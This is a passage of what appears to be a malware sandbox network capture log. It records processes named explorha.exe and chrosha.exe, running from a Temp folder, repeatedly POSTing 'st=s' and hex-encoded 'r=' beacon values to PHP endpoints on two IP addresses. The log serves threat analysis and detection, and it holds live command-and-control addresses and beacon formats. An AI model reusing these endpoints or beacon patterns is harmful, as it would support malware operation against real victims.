Apr 19, 2024 03:35:06.654310942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.5	50971	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:06.533596039 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:06.785207987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.5	50972	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:07.005912066 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:07.250016928 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.5	50973	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:07.039937019 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:07.294547081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.5	50974	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:07.505484104 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:07.759339094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.5	50975	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:07.649529934 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:07.897568941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.5	50976	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:08.125196934 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:08.372778893 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.5	50977	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:08.152297974 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:08.403275013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.5	50978	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:08.626852036 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:08.875752926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.5	50979	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:08.762506962 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:09.009022951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.5	50980	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:09.233042955 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:09.473926067 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.5	50981	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:09.267402887 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:09.524271011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.5	50982	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:09.725752115 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:09.976305008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.5	50983	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:09.880737066 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:10.124952078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.5	50984	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:10.342417002 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:10.593863010 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.5	50985	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:10.367902040 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:10.612126112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.5	50986	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:10.849131107 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:11.102238894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.5	50987	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:10.966979980 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:11.214252949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.5	50988	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:11.465202093 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:11.713751078 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.5	50989	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:11.465207100 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:11.714739084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.5	50990	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:11.966552019 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:12.215764046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.5	50991	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:12.071188927 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:12.319031000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.5	50992	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:12.567848921 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:12.826281071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.5	50993	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:12.573442936 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:12.828583002 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
